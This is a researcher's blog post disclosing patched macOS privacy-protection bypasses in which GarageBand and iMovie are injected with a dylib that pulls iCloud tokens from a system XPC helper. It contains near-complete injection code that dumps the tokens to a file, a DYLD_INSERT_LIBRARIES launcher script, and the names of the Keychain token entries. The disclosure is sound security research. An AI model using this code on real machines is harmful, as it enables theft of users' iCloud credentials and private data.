Bypass TCC via iCloud

@WOJCIECH REGUŁA · MAR 4, 2023 · 5 MIN READ

Overview

These vulnerabilities were first disclosed at TyphoonCon in Seoul during my talk *What happens on your Mac, stays on Apple's iCloud?! Bypassing Mac privacy mechanisms*. I found 2 code injection opportunities in iMovie and GarageBand which allowed me impersonating their `com.apple.private.icloud-account.access` entitlements. Then, I was able to talk to iCloud XPC helper which gave me the user's iCloud tokens. With these tokens, I was able to get all the data that is synchronized with iCloud and is normally protected via TCC (Contacts, Reminders, Calendars, Location, etc).

iCloud XPC helper

My favorite kind of macOS exploitation is bypassing privacy protections applied via TCC. I constantly try to find new ways to get protected data. As a lot of TCC data is synchronized with iCloud, I decided to take a look at how macOS synchronizes it. After some research, I found out that there is an XPC helper located in `/S/L/PF/AOSKit.framework/Versions/A/XPCServices/com.apple.iCloudHelper.xpc`. When nicely asked via XPC, it will respond with all the iCloud tokens. Of course, it verifies the client who asks about those tokens in `+[AOSAgentServer validateClientWithPid:auditToken:andIdentifier:]` method:

```
[...]
rax = CFDictionaryGetValue(var_38, @"com.apple.private.icloud-account-access")
if (rax != 0x0) {
    var_38 = rax;
    rbx = CFGetTypeID(rax);
    rax = CFBooleanGetTypeID();
    rdi = var_38;
```

```
    if (rbx == rax) {
            rax = CFBooleanGetValue(rdi);
            rbx = rax;
            _AOSLog(0x4, @"XPC SERVER (%@): iCloud Account Access: %d (%p)", r
    }
[...]
```

I determined that the validation is done properly and the iCloudHelper requires from the connecting client to be signed with a private `com.apple.private.icloud-account-access` entitlement. Further reverse engineering determined that to talk to the helper and get the tokens I would have to use the following code:

```
#import <Foundation/Foundation.h>

void pwn() {
    char *xpc_name = "com.apple.iCloudHelper";
    xpc_connection_t connection = xpc_connection_create(xpc_name, NULL);
    if (connection == NULL) {
        NSLog(@"[+] Couldn't create connection, exiting...");
        exit(-1);
    }

    xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
        NSLog(@"[<] Got event %@", event);
    });

    xpc_connection_resume(connection);

    NSLog(@"Got client %@", connection);
    pid_t pidOfRemotePeer = xpc_connection_get_pid(connection);
    NSLog(@"[+] Remote peer %d", pidOfRemotePeer);
    NSLog(@"[+] My PID %d", [[NSProcessInfo processInfo] processIdentifier]);

    xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);

    // string clientUid
```

```
NSString *uidstring = [NSString stringWithFormat:@"%d", getuid()];
xpc_object_t clientUid = xpc_string_create([uidstring cStringUsingEncoding

// dict payload
// int64 action
// double clientTimestamp
// string accountName
xpc_object_t payload = xpc_dictionary_create(NULL, NULL, 0);
xpc_object_t action = xpc_int64_create(4);
xpc_object_t clientTimestamp = xpc_double_create(13123123);
NSString *appleID = @(getenv("APPLE_ID"));
xpc_object_t accountName = xpc_string_create([appleID cStringUsingEncoding

// string clientID
xpc_object_t clientID = xpc_string_create("blog.wojciechregula.pwn");

// mach_send_right sessionPort
xpc_object_t sessionPort = xpc_string_create("INVALIDPORT");

// string sessionID
xpc_object_t sessionID = xpc_string_create("100006");

// string clientGUIAccess
xpc_object_t clientGUIAccess = xpc_string_create("1");

// string clientKeychainAccess
xpc_object_t clientKeychainAccess = xpc_string_create("111");

xpc_dictionary_set_value(message, "clientUid", clientUid);
xpc_dictionary_set_value(message, "payload", payload);
xpc_dictionary_set_value(payload, "action", action);
xpc_dictionary_set_value(payload, "clientTimestamp", clientTimestamp);
xpc_dictionary_set_value(payload, "accountName", accountName);
xpc_dictionary_set_value(message, "clientID", clientID);
xpc_dictionary_set_value(message, "sessionPort", sessionPort);
xpc_dictionary_set_value(message, "sessionID", sessionID);
xpc_dictionary_set_value(message, "clientGUIAccess", clientGUIAccess);
xpc_dictionary_set_value(message, "clientKeychainAccess", clientKeychainAc
```

```
    xpc_object_t reply = xpc_connection_send_message_with_reply_sync(connectic
    NSLog(@"reply is %@", reply);

    NSString *debugDescription = [NSString stringWithCString:xpc_copy_descript
    NSLog(@"[<] Debug description: %@", debugDescription);

    xpc_object_t result = xpc_dictionary_get_value(reply, "result");
    NSData *data = [NSData dataWithBytes:xpc_data_get_bytes_ptr(result) length
    [data writeToFile:@"/tmp/dump.plist" atomically:YES]; // save the tokens
    NSLog(@"[<] Result %@", data);

    NSDictionary *obj = (NSDictionary*) [NSKeyedUnarchiver unarchiveObjectWith
    NSLog(@"[<] DATA: %@", obj);
}

__attribute__((constructor)) static void pwn(int argc, const char **argv) {
    NSLog(@"[+] Dylib injected");
    pwn();
}
```

I grepped through my filesystem for `com.apple.private.icloud-account-access` and got two interesting hits.

GarageBand code injection

First, let's take a look at GarageBand. I checked its entitlements and besides our interesting `com.apple.private.icloud-account-access` it had also the `com.apple.private.security.clear-library-validation` .

```
$ codesign -d --entitlements - /Applications/GarageBand.app
Executable=/Applications/GarageBand.app/Contents/MacOS/GarageBand
[Dict]
    [Key] com.apple.application-identifier
    [Value]
        [String] F3LWYJ7GM7.com.apple.garageband10
    [Key] com.apple.private.security.clear-library-validation
```

```
    [Value]
        [Bool] true
    [Key] com.apple.private.icloud-account-access
    [Value]
        [Bool] true
```

With `otool` I verified if GarageBand loads any frameworks which I could possibly change and get the code execution within the privileged Garageband process:

```
$ otool -L /Applications/GarageBand.app/Contents/MacOS/GarageBand
/Applications/GarageBand.app/Contents/MacOS/GarageBand:
    @rpath/MAGUI.framework/Versions/A/MAGUI (compatibility version 1.0.0, curr
    @rpath/MAMachineLearning.framework/Versions/A/MAMachineLearning (compatibi
    @rpath/MAMusicAnalysis.framework/Versions/A/MAMusicAnalysis (compatibility
    [...]
```

Great, we have a lot of `@rpath` references. I then used a dylib proxying attack and got the tokens as you can see below:

GarageBand PoC

Wojciech Reguła

Apple fixed this vulnerability by taking the `com.apple.private.icloud-account-access` entitlement from Garageband. The vulnerability has `CVE-2021-30654` assigned.

iMovie code injection

The exploitation of iMovie was even simpler. Generally, you cannot `DYLD_INSERT_LIBRARIES` on Apple's executables. However, this fact doesn't apply to those executables downloaded from the AppStore! (thanks Csaba for this information!) At that time iMovie didn't have the hardened runtime turned on...

So the whole exploitation was about using the following bash script with the malicious dylib code mentioned before.

```
#!/bin/sh

# clear stuff
if [[ -d "/tmp/iMovie.app" ]]
then
    echo "Removing old exploitation remainings..."
    rm -fr "/tmp/iMovie.app"
fi

# copy iMovie to /tmp
cp -R "$2" /tmp/

# copy iCloudHelper XPC service
mkdir "/tmp/iMovie.app/Contents/XPCServices"
cp -R "/System/Library/PrivateFrameworks/AOSKit.framework/Versions/A/XPCServic

appl=`defaults read MobileMeAccounts Accounts | grep AccountID | cut -d'"' -f
DYLD_INSERT_LIBRARIES="$1" APPLE_ID="$appl" /tmp/iMovie.app/Contents/MacOS/iM
```

The vulnerability has `CVE-2021-30757` assigned.

Weaponizing

Turned out that the iCloud tokens are normally stored in the Keychain under the following names:

Name	Kind	Date Modified	Expires	Keychain
com.apple.account.AppleAccount.cloudkit-token	application password	4 Apr 2022 at 15:01:14	--	Local Items
com.apple.account.AppleAccount.find-my-friends-app-token	application password	4 Apr 2022 at 15:01:14	--	Local Items
com.apple.account.AppleAccount.find-my-iphone-app-token	application password	4 Apr 2022 at 15:01:14	--	Local Items
com.apple.account.AppleAccount.find-my-iphone-siri-token	application password	4 Apr 2022 at 15:01:14	--	Local Items
com.apple.account.AppleAccount.find-my-iphone-token	application password	4 Apr 2022 at 15:01:14	--	Local Items
com.apple.account.AppleAccount.key-transparency-token	application password	4 Apr 2022 at 15:01:14	--	Local Items
com.apple.account.AppleAccount.maps-token	application password	4 Apr 2022 at 15:01:14	--	Local Items
com.apple.account.AppleAccount.search-party-token	application password	4 Apr 2022 at 15:01:14	--	Local Items
com.apple.account.AppleAccount.token	application password	4 Apr 2022 at 15:01:11	--	Local Items
com.apple.account.DeviceLocator.find-my-iphone-app-token	application password	4 Apr 2022 at 15:01:14	--	Local Items
com.apple.account.DeviceLocator.find-my-iphone-siri-token	application password	4 Apr 2022 at 15:01:14	--	Local Items
com.apple.account.DeviceLocator.search-party-token	application password	4 Apr 2022 at 15:01:14	--	Local Items
com.apple.account.DeviceLocator.token	application password	4 Apr 2022 at 15:01:14	--	Local Items
com.apple.account.FindMyFriends.find-my-friends-app-token	application password	4 Apr 2022 at 15:01:14	--	Local Items

For demo purposes I took the `com.apple.account.AppleAccount.find-my-iphone-app-token` and created a simple PoC that downloaded my location directly from the iCloud. Of course, without involving the TCC. Using other tokens I was able to get access also to Calendars, Reminders, Contacts, etc :-)

iCloud get location

Wojciech Reguła

00:24

Downgrade attacks & Apple final patches

After those 2 fixes for iMovie and Garageband, I was able to re-exploit both vulnz. I dropped the old and vulnerable iMovie and Garageband versions to do so. Finally, Apple added those apps to the AppleMobileFileIntegrity denylist so the downgrade attack is not possible. CVEs are `CVE-2022-32877` and `CVE-2022-32896` .

You can find it in the `AppleMobileFileIntegrity.kext` in the `postValidation(LazyPath*, cs_blob*, unsigned int, OSDictionary*, unsigned char, bool, unsigned int, char const*, char**, unsigned long*)` function:

```
loc_118e7:
    rbx = var_30;
    if (_strcmp(rbx, "com.apple.garageband10") != 0x0 || dict_has_entitlement(

loc_11b24:
    if (_strcmp(rbx, "com.apple.bootcampassistant.installd") == 0x0 || _strcmp
```

Vulnerability MacOS TCC CVE-2021-30654 CVE-2021-30757 CVE-2022-32877

CVE-2022-32896